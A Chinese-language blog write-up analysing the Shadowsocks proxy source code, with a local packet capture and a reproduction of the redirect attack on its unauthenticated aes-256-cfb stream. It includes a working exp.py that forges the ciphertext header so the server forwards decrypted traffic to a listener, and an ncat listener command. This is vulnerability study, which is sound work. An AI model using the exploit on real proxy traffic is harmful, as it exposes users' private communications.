Analysis of Shadowsocks and Related Attack

Abstract

Shadowsocks 是一款知名的fq软件，但由于开发者在使用相关密码学组件时，忽视了一些安全问题，导致了重定向攻击的可能。

本文将从Shadowsocks的源码出发，分析其相关代码逻辑，并在此基础上进行抓包实践，最后将阐述重定向攻击的原理并进行漏洞分析和复现。

Prerequisite

• Socks5握手连接过程与数据包分析
• shadowsocks 源码分析：整体结构
• Redirect attack on Shadowsocks stream ciphers

Analysis of Source Code

下载源码

前往https://github.com/shadowsocks/shadowsocks下载源码，并切换到master分支。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

$ git clone https://github.com/shadowsocks/shadowsocks
$ cd shadowsocks
$ git branch -a
* rm
  remotes/origin/HEAD -> origin/rm
  remotes/origin/master
  remotes/origin/rm
(END)

$ git checkout remotes/origin/master

PyCharm 打开，开始代码审计。

总体审计

项目根目录下shadowsocks文件夹中的内容是主要代码。

先找到main函数，存在于local.py和server.py这两个文件中，分别用于启动sslocal服务和ssserver服务。前者是运行在本地的代理转发服务，后者是运行在代理服务器上的代理转发服务。

两个文件的结构其实十分类似，大致逻辑可以概括为：

• 获取配置文件

  1	config = shell.get_config(True)

• 注册dns解析器

  1	dns_resolver = asyncdns.DNSResolver()

• 注册tcp中继器、udp中继器

  1 2	tcp_server = tcprelay.TCPRelay(config, dns_resolver, True) udp_server = udprelay.UDPRelay(config, dns_resolver, True)

• 将前三者放入事件循环，然后loop.run()运行

  1 2 3 4 5 6

  loop = eventloop.EventLoop() dns_resolver.add_to_loop(loop) tcp_server.add_to_loop(loop) udp_server.add_to_loop(loop) # ... loop.run()

跟进loop.run()函数，能够看到一个循环，然后会根据events来获取相应的handler，用handler来处理相应的事件。

local.py和server.py最大的差别在于，注册TCP中继器和UDP中继器的时候，传入的is_local参数不同，从而导致两者在handle events时会有不同的行为。

另外一个区别点在于，ssserver可以支持多组端口并发运行，而sslocal则只能在配置文件中设置一个本地端口。(from shadowsocks 源码分析：整体结构 )

中继转发

由于UDP没TCP那么复杂，所以可以通过udprelay.py来看看是如何具体处理事件的。

对于一个event，UDPRelay会调用它的handler_event方法来进行处理。

1
2
3
4
5
6
7
8
9

def handle_event(self, sock, fd, event):
    if sock == self._server_socket:
        if event & eventloop.POLL_ERR:
            logging.error('UDP server_socket err')
        self._handle_server()
    elif sock and (fd in self._sockets):
        if event & eventloop.POLL_ERR:
            logging.error('UDP client_socket err')
        self._handle_client(sock)

分为两种情况，服务端还是客户端。（sslocal和ssserver均可同时作为客户端和服务端）

先来看_handle_server，即作为服务端时的情况。

此时主要是sslocal接收到转发请求并对数据进行加密发送到ssserver，或者ssserver接收到加密的数据后进行解密解析，再进行代理转发。

sslocal作为服务端

对于is_local=True的情况（即sslocal服务）：

• data, r_addr = server.recvfrom(BUF_SIZE)获取发送过来的数据以及来源地址

• check一下udp包的格式，不是重点

• header_result = parse_header(data)解析data的头部，跟入parse_header。（这边收到数据时，header已经被组装好了）

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37

  def parse_header(data): addrtype = ord(data[0]) dest_addr = None dest_port = None header_length = 0 if addrtype & ADDRTYPE_MASK == ADDRTYPE_IPV4: if len(data) >= 7: dest_addr = socket.inet_ntoa(data[1:5]) dest_port = struct.unpack('>H', data[5:7])[0] header_length = 7 else: logging.warn('header is too short') elif addrtype & ADDRTYPE_MASK == ADDRTYPE_HOST: if len(data) > 2: addrlen = ord(data[1]) if len(data) >= 4 + addrlen: dest_addr = data[2:2 + addrlen] dest_port = struct.unpack('>H', data[2 + addrlen:4 + addrlen])[0] header_length = 4 + addrlen else: logging.warn('header is too short') else: logging.warn('header is too short') elif addrtype & ADDRTYPE_MASK == ADDRTYPE_IPV6: if len(data) >= 19: dest_addr = socket.inet_ntop(socket.AF_INET6, data[1:17]) dest_port = struct.unpack('>H', data[17:19])[0] header_length = 19 else: logging.warn('header is too short') else: logging.warn('unsupported addrtype %d, maybe wrong password or ' 'encryption method' % addrtype) if dest_addr is None: return None return addrtype, to_bytes(dest_addr), dest_port, header_length

  • 大致上可以看到是一个类似于switch/case的东西

  • 首先把data[0]拿出来，并根据其具体值来判断是目的地IP地址是哪一种地址类型addrtype

    • IPv4： 0x01
    • 域名：0x03
    • IPv6：0x04

  • 再继续解析出目的地的IP地址和端口号。

    • IPv4类型： 取data[1:5]为IP地址，data[5:7]为端口号
    • IPv6类型： 取data[1:17]为IP地址，data[17:19]为端口号
    • 域名类型：取data[1]为域名长度addrlen，并根据addrlen往后取data[2:2+addrlen]为域名，再往后取2字节data[2+addrlen:4+addrlen]为端口号

  • 返回解析出来的 地址类型addrtype，目标IP地址dest_addr，目标端口号dest_port以及这些字段的所占的长度header_length

• 从配置文件中随机获取一个ssserver的ip+port组合作为转发的server_addr和server_port（sslocal随后将会把数据转发给sssever）

  1	server_addr, server_port = self._get_a_server()

• 去self._dns_cache（dns缓存）里找server_addr的地址信息记录，如果_dns_cache中没有的话，会调用socket.getaddrinfo生成地址信息记录，并存入_dns_cache中。

  1 2 3 4 5 6 7 8 9

  addrs = self._dns_cache.get(server_addr, None) if addrs is None: addrs = socket.getaddrinfo(server_addr, server_port, 0, socket.SOCK_DGRAM, socket.SOL_UDP) if not addrs: # drop return else: self._dns_cache[server_addr] = addrs

• 根据地址信息记录去self._cache（socket对象的缓存）中找socket对象client，如果没找到则会自己生成一个client，并存入_cache中，同时还会放入self._sockets集合和self._eventloop中。（先不要纠结于这些cache，sockets集合，eventloop。总之，这边就是创建了一个socket对象，用于后续的通信）

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  af, socktype, proto, canonname, sa = addrs[0] key = client_key(r_addr, af) client = self._cache.get(key, None) if not client: # TODO async getaddrinfo if self._forbidden_iplist: if common.to_str(sa[0]) in self._forbidden_iplist: logging.debug('IP %s is in forbidden list, drop' % common.to_str(sa[0])) # drop return client = socket.socket(af, socktype, proto) client.setblocking(False) self._cache[key] = client self._client_fd_to_server_addr[client.fileno()] = r_addr self._sockets.add(client.fileno()) self._eventloop.add(client, eventloop.POLL_IN, self)

• 由于是sslocal，所以要对发送的数据进行加密。

  先根据配置文件中的password和method生成用于加密用的key和iv，然后对数据data进行加密。

  1 2 3 4 5 6 7 8 9 10 11 12 13

  if self._is_local: key, iv, m = cryptor.gen_key_iv(self._password, self._method) # spec https://shadowsocks.org/en/spec/one-time-auth.html if self._ota_enable_session: data = self._ota_chunk_data_gen(key, iv, data) try: data = cryptor.encrypt_all_m(key, iv, m, self._method, data, self._crypto_path) except Exception: logging.debug("UDP handle_server: encrypt data failed") return if not data: return

  • 可以跟进cryptor.gen_key_iv函数看一下具体的实现。

    1 2 3 4 5 6 7 8 9

    def gen_key_iv(password, method): method = method.lower() (key_len, iv_len, m) = method_supported[method] if key_len > 0: key, _ = EVP_BytesToKey(password, key_len, iv_len) else: key = password iv = random_string(iv_len) return key, iv, m

    会先根据method字段得到key和iv的长度，以及一个加密对象m；然后通过KDF（Key Derivation Function）从password中生成加密用的key；再随机生成一段iv。

    具体的KDF大致就是md5(password) || md5(前16bytes + password) || ...（根据key_len来确定长度)

    整个加密封装的过程可以用下图来表示：

    

• 最后，将加密数据发送给ssserver的相应端口。

  1	client.sendto(data, (server_addr, server_port))

sssever作为服务端

再来看对于is_local = False的情况（即ssserver服务）：

• 同样也是data, r_addr = server.recvfrom(BUF_SIZE)获取发送过来的数据以及来源地址（此时收到的是sslocal加密后的数据）

• 收到数据后，立刻进行解密。

  1	data, key, iv = cryptor.decrypt_all(self._password, self._method, data, self._crypto_path)

• 解密后，对数据的头部进行解析，将会解析出地址类型addrtype、转发目的地dest_addr, dest_port、头部长度header_length，并将转发目的地dest_addr, dest_port作为后续socket的接收方地址server_addr, server_port。（然后搞了一些ota相关的东西，不重要

  1 2 3 4 5 6 7

  header_result = parse_header(data) if header_result is None: return addrtype, dest_addr, dest_port, header_length = header_result # ... server_addr, server_port = dest_addr, dest_port

• 再从self._dns_cache中读取相关地址信息记录（考虑到server_addr是域名的情况，还会去进行dns解析）

  1 2 3 4 5 6 7 8 9

  addrs = self._dns_cache.get(server_addr, None) if addrs is None: addrs = socket.getaddrinfo(server_addr, server_port, 0, socket.SOCK_DGRAM, socket.SOL_UDP) if not addrs: # drop return else: self._dns_cache[server_addr] = addrs

• 接着，创建socket对象（如果self._cache中没有的话），并根据ip黑名单进行过滤，把相关信息保存下来。

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  af, socktype, proto, canonname, sa = addrs[0] key = client_key(r_addr, af) client = self._cache.get(key, None) if not client: # TODO async getaddrinfo if self._forbidden_iplist: if common.to_str(sa[0]) in self._forbidden_iplist: logging.debug('IP %s is in forbidden list, drop' % common.to_str(sa[0])) # drop return client = socket.socket(af, socktype, proto) client.setblocking(False) self._cache[key] = client self._client_fd_to_server_addr[client.fileno()] = r_addr self._sockets.add(client.fileno()) self._eventloop.add(client, eventloop.POLL_IN, self)

• 最后将数据的头部删去，并发送给转发目的地。

  1 2 3

  data = data[header_length:] # ... client.sendto(data, (server_addr, server_port))

sslocal、ssserver作为客户端

这两个服务作为客户端，就是ssserver收到dest发回来的响应之后，再加密转发给sslocal；sslocal收到后，解密再转发给本地的源程序。

时间关系，就不仔细深入分析了。有兴趣的读者可以自己去看看，也可以去看看TCPRelay的具体实现。

总结

Shadowsocks的大致流程可以总结如下：

墙内网站（例如B站）我们可以正常访问。

但是某些墙外网站（例如P站），则无法访问。为了访问这些墙内无法访问的网站，我们可以借助Shadowsocks。

先要有一个可以访问墙外网站且能被墙内所访问的代理服务器Proxy server，在上面运行ssserver服务。

并在本机上运行sslocal服务。

browser     <---->   sslocal
                        |
                   (encrypted)
                        |
Web server  <---->   ssserver

魔改shadowsocks 源码分析：整体结构 中的图

接下来，我们可以让浏览器先往本地的sslocal服务发起SOCKS5代理请求，在SOCKS5协议握手完成后，再往sslocal发送数据（例如HTTP请求）。

此时，sslocal会将数据进行组装（在头部加入n字节用于指定转发到哪里 + 数据），并对组装后的数据进行加密，再转发给ssserver服务。由于加密的作用，GFW无法识别出数据包的内容，因此该数据包不会被过滤（如果明文访问某些海外服务器的话，数据包会被拦截）。

ssserver收到加密数据后，会先对数据进行解密，然后取前n字节并解析，若解析失败则不会转发；解析成功后，会将数据转发到指定的Web服务器。

如果是HTTP request，那么Web服务器会往ssserver回送HTTP response响应包。

ssserver收到响应包后，会对响应包加密，并转发给sslocal。

sslocal收到后，解密，并转发给浏览器。

Wireshark packets

接下来，我们进行抓包实践。

搭建sslocal和ssserver

从项目根目录中的tests文件夹中拿一个aes.json作为config.json放到shadowsocks文件夹中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

{
    "server":"127.0.0.1",
    "server_port":8388,
    "local_port":1081,
    "password":"aes_password",
    "timeout":60,
    "method":"aes-256-cfb",
    "local_address":"127.0.0.1",
    "fast_open":false
}

python3运行server.py和local.py开启sslocal和ssserver服务

1

$ python3 local.py

1

$ python3 server.py

用php在本地的8080端口起HTTP服务

1
2

$ cd ~/web
$ php -S 0.0.0.0 8080

此时本地的服务如下图所示：

在使用Shadowsocks来fq的时候，ssserver应该搭建在海外的一台服务器上。

代理访问

通过Chrome浏览器的SwitchyOmega插件设置代理：

但是Chrome浏览器的请求有点小多，不太能找到自己想要的那个，所以转而尝试用python3的requests库来发起HTTP请求。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

import requests


url = "http://blog.jylsec.com:23333/"
proxies = {
    'http':  "socks5://127.0.0.1:1081",
    'https': "socks5://127.0.0.1:1081"
}
resp = requests.get(url, proxies=proxies)
print(resp.content)

报错：ProxySchemeUnknown: Not supported proxy scheme socks5

Stack Overflow搜了一下，找到一个替代方案：

1

$ http_proxy="socks5://127.0.0.1:1081" python3 -c 'import requests; print(requests.get("http://10.10.30.156:8080/flag.txt").text)'

10.10.30.156是局域网内的本机地址，不用回环地址的主要原因是为了防止ssserver端报错IP 127.0.0.1 is in forbidden list

然后就能从正在监听Loopback: lo0网卡的Wireshark中看到流量包。

通过tcp.flags.push == 1 && tcp.flags.ack == 1 && (tcp.port == 1081 || tcp.port == 8388)过滤一下，就能很轻松地找到相应的流量：

流量包：test.pcapng

No. 5, 7, 9, 11的流量包是本地python程序与sslocal服务的SOCKS5协议握手过程，在本地回环地址127.0.0.1进行。

本次socks5握手的关键内容在No. 9流量包中：

根据SOCKS5协议的规定，0x05 0x01 0x00 0x01 0x0a 0x0a 0x1e 0x9c 0x1f 0x90表示客户端请求服务端将后续数据代理转发到10.10.30.156:8080。

完成SOCKS5协议握手后，python程序随即就向sslocal服务发送了一个HTTP GET的请求数据包。

python -----> sslocal

收到该数据包后，sslocal（1081端口）立刻对该数据包中的data进行了加密，并发送给ssserver（8388端口）。

sslocal --(enc)--> ssserver

注意一下这边No.13和No. 15数据包的长度。后者比前者多了235-212=23bytes，刚好是 16字节的iv+7字节的ipv4转发格式。

ssserver收到了数据包后，立刻向指定的ip和port（10.10.30.156:8080）转发解密后的HTTP GET请求包。

Web服务器收到后，进行了服务，并返回给了ssserver一个HTTP响应包。

这2个步骤没有在过滤后的流量包中体现出来

ssserver收到响应包后，对其进行加密，并转发给sslocal。

ssserver --(enc)--> sslocal

sslocal收到后，解密，再转发给python程序。

sslocal -----> python

同样注意一下这边的No. 16和No. 17的长度，相差了250-234=16bytes，刚好是16字节的iv。

Redirect Attack

漏洞成因

由于Shadowsocks默认配置使用的加密算法都是aes-256-cfb，且并没有对interity的check，因此攻击者可以任意修改从sslocal–>ssserver或者ssserver–>sslocal过程中的密文数据来达到相应的目的。

又由于所有发送到ssserver的加密数据，其解密后的前7字节（我们先忽略IPv6和domain的情况）都会被解析作为数据转发的目的地，从而导致了攻击者可以通过修改这前7个字节的方式，将（解密后）数据包转发给非预期的目的地，来完成一个在没有key的情况下对密文进行解密的操作。

漏洞利用

但是想要确定性地定向前7个字节，攻击者必须要知道这段密文解密后的前7字节的明文是什么。好在大部分流量都是HTTP相关的数据包，且HTTP响应包的格式基本上就是HTTP/1.1 200 OK\r\nHost:...，因此其前7个字节是可知的，从而使得我们可以定向修改转发的目的地。

解密后，ssserver会通过判断Plaintext的前7个字节来确定转发目的地。为了使得解密后的数据能够全部都转发到我们控制的服务器上，我们需要对解密后Plaintext的前7字节进行修改。

通过观察上图可知，我们仅需对第一段Ciphertext的前7字节进行修改即可。

具体的方法是：

我们已知C = xor(P, K) ，解密时会计算P = xor(C, K)，从而得到K = xor(P, C)，K不会改变。

为了使得解密后得到P'，即P' = xor(C', K)，只需C' = xor(P', K) = xor(P', xor(P, C))。

贴一张Twitter 上的图：

以及我做的小动画：

从而可以写出exp.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

import socket

c = bytes.fromhex("a8dbee0403fdff3cab1a194ab7c466bdab2f422f239260d431ac8cec4c7c51281c82c45810d5b7edfef37d5ead18cfcbf8e506ba778005209857acc351732831eec41c8643f76ae1ea335ec1bc169d74757261b6ef6d09a7d231c58889c5359eaca5bd71414ad01810fc1453be475392e434e45da5a7e71bac47ff3de900855578d3142cca63c5fca1fe4186aa665433f06090f9a0772249690168af60243c6a666171098b4593145cc7c03e01bc767ff4b40b66e16da7f0bc3fdd38b2c84bb3e6ff")

def xor(a, b):
    return bytes(x^y for x,y in zip(a,b))


plain  = b"HTTP/1."
target = b"\x01" + socket.inet_aton("10.10.30.156") + (10000).to_bytes(2, 'big')
z = xor(plain, target)
new_c  = c[:16] + xor(z, c[16:16+7]) + b"\x00"*(16-7) + c

s = socket.socket()
s.connect(("127.0.0.1", 8388))
s.send(new_c)

并在本地的10000端口开启监听。

1

$ ncat -vlp 10000

运行exp.py，即可在监听的端口收到解密后的内容。

整个流程可以用下图来表示：

Redirect Attack

当然，如果知道其他数据包前7bytes的大概格式，也可以通过这种方式进行Redirect Attack。

实际上只需要知道7bytes就可以了，除去不可打印字符外，硬爆破也是可以的？？